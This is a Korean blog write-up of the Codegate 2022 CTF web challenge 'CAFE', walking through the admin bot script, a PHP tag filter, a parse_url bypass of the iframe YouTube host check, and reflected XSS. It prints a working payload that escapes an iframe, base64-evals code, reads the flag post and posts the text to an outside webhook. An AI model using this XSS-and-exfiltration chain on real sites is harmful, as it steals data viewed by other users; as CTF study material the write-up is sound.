Codegate 2022 webhacking CAFE Writeup
1. Cafe Writeup
Description
You can enjoy this cafe :)
upload text, youtube, ...
cafe에 접속을 하면 다음과 같은 화면이 나온다. 먼저 flag 위치를 찾아보자.
flag는 db.sql 코드에 있었다. insert 문을 통해 첫 번째 게시글에 flag가 적혀있다.
#!/usr/bin/python3
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from webdriver_manager.chrome import ChromeDriverManager
import time
import sys
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--disable-logging')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--no-sandbox')
#options.add_argument("user-agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
driver = webdriver.Chrome(ChromeDriverManager().install(),options=options)
driver.implicitly_wait(3)
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4')
driver.find_element_by_id('submit').click()
time.sleep(2)
driver.get('http://3.39.55.38:1929/read?no=' + str(sys.argv[1]))
time.sleep(2)
driver.quit()
이후 bot.py에서 보면 headless chrome browser 로 관리자로 로그인 후 /read?no=번호 페이지로 이동해서 내용을 확인한다. 따라서 "read?no=" 를 이용해서 flag가 담겨있는 게시글을 볼 수 있을 것이다.
<?php
if(isset($_GET['text'])){
$text = $_GET['text'];
$id = $_SESSION['id'];
$posts = searchPosts('%'.$text.'%', $id)['all'];
}
?>
search.php 코드를 보면 GET 메소드로 text를 입력받는다. 여기에 /search?text=<script>aelrt(1)</script> 을 시도해도 간단하게 XXS 취약점이 존재하고 있음을 알 수 있다.
function filterHtml($content) {
$result = '';
$html = new simple_html_dom();
$html->load($content);
$allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];
foreach($allowTag as $tag){
foreach($html->find($tag) as $element) {
switch ($tag) {
case 'a':
$result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
break;
case 'img':
$result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
break;
case 'p':
case 'span':
case 'b':
case 'h1':
case 'h2':
case 'h3':
case 'h4':
case 'h5':
case 'h6':
case 'strong':
case 'em':
case 'code':
$result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
break;
case 'iframe':
$src = $element->src;
$host = parse_url($src)['host'];
if (strpos($host, 'youtube.com') !== false){
$result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
}
break;
}
}
}
return $result;
}
util.php 코드를 보면 filterHtml 함수가 있다. 게시물에 $allowTag 배열에 해당하는 HTML 태그가 있으면 해당 태그를 삭제하는 기능을 한다. iframe 부분에서 $host = parse_url() 함수를 사용하는 모습이 보인다. parse_url 함수는 버그가 존재한다.
parse_url($parsed, PHP\_URL\_QUERY); // url에서 쿼리 형태의 질의문을 가져온다.
parse_url에 동작 방식으로 인해 /을 사용하면 우회가 가능하다. 따라서 parse_url 버그를 통해 필터링을 우회한다.
이제 exploit script를 작성해야 하는데 먼저 Ajax라는 개념에 대해서 확인하고 exploit Script를 작성해보자.
Ajax란?
Ajax는 Asynchronous Javascript and Xml의 약자이다. js의 라이브러리 중 하나로, 브라우저가 가지고 있는 XMLHttpRequest 객체를 이용해서 페이지의 일부만을 로드하는 기술이다. 쉽게 말하면 js를 이용한 비동기 통신이며, 클라이언트와 서버 간에 XML 데이터를 주고받는 기술이다.
$.ajax({
type: "post",
url : "http://localhost:8080/test2",
////////Content-Type 명시함
headers: {'Content-Type': 'application/json'},
////////보낼 데이터를 JSON.stringify()로 감싸주어야 함
data : JSON.stringify(obj),
success : function (data){
console.log(data);
},
error : function(e){
}
})
위 코드는 ajax로 json 데이터를 보낼 때 사용하는 예시이다.
$.ajax(
{
type:"POST",
url:"/bet",
data: {
"user-bet":1,
"user-choice":1,
"service-port":"@your.server.url:7777"
},
success: (data, status) => {
window.location.replace(data);
}
}
)
위 코드는 실제 GCHD에서 Ajax를 이용한 문제에서 사용되었던 Ajax 사용 예시이다.
fetch()
js 내장 라이브러리이며, promise기반으로 만들어져서 데이터 핸들링이 편하다. 당연히 내장 라이브러리이기에 import를 안 해도 된다. 사용할 땐 .json() 메소드를 사용해야 한다.
fetch(url, options)
.then((response) => console.log("response:", response))
.catch((error) => console.log("error:", error));
위 코드는 fetch 함수를 사용하는 방법이다.
둘 다 js에서 비동기 HTTP 통신을 할 때 사용한다. HTTP 통신을 할 때 또 여러 가지 인증방법이 있다. 먼저 Base Authentication을 포함한 URL을 구성했다.
http://3.39.55.38:1929\@google.com/read?no=1
위 그림을 참조해서 예시로 만들어보면 다음과 같다.
http://3.39.55.38:1929/@google.com/read?no=1
위에서 말한 것처럼 parse_url() 함수로 인해 '\'는 '/'로 인식된다. XXS가 가능한 search로 바꾸면 다음과 같다.
http://3.39.55.38:1929/search?text=<script>alert(1111)</script>
http://3.39.55.38:1929/search?text=%3Cscript%3Ealert(1111)%3C/script%3E
여기서 fetch함수를 사용하면 된다.
<script>eval(atob('fetch('/read?no=1').then(async function(res){var a=await res.text();fetch('웹훅사이트',{'method':'post','body':'a='+a});});7'));</script>"></iframe>
따라서 우회한 스크립트는 위와 같다. atob 안에 내용은 base64로 인코딩해서 사용하면 된다.
iframe이 정상적으로 작동하는 것을 알 수 있다. 이후 report를 클릭하면 내 웹훅 사이트로 패킷이 오고 flag를 찾을 수 있을 것이다.
FLAG : codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}
참고문헌
https://www.daleseo.com/js-window-fetch/
https://domdom.tistory.com/entry/Codegate2022-WEB-CAFE
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! (blackhat.com)
'웹해킹 > CTF' 카테고리의 다른 글
Codegate CTF 2022 WEB My Blog Writeup (0) | 2022.11.21 |
---|---|
화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup (0) | 2022.11.19 |
Codegate 2022 webhacking Baby First Writeup (0) | 2022.11.16 |
NahamCon CTF 2022 Flaskmetal_Alchemist Writeup (0) | 2022.11.14 |
NahamCon CTF 2022 Personel Writeup (0) | 2022.11.12 |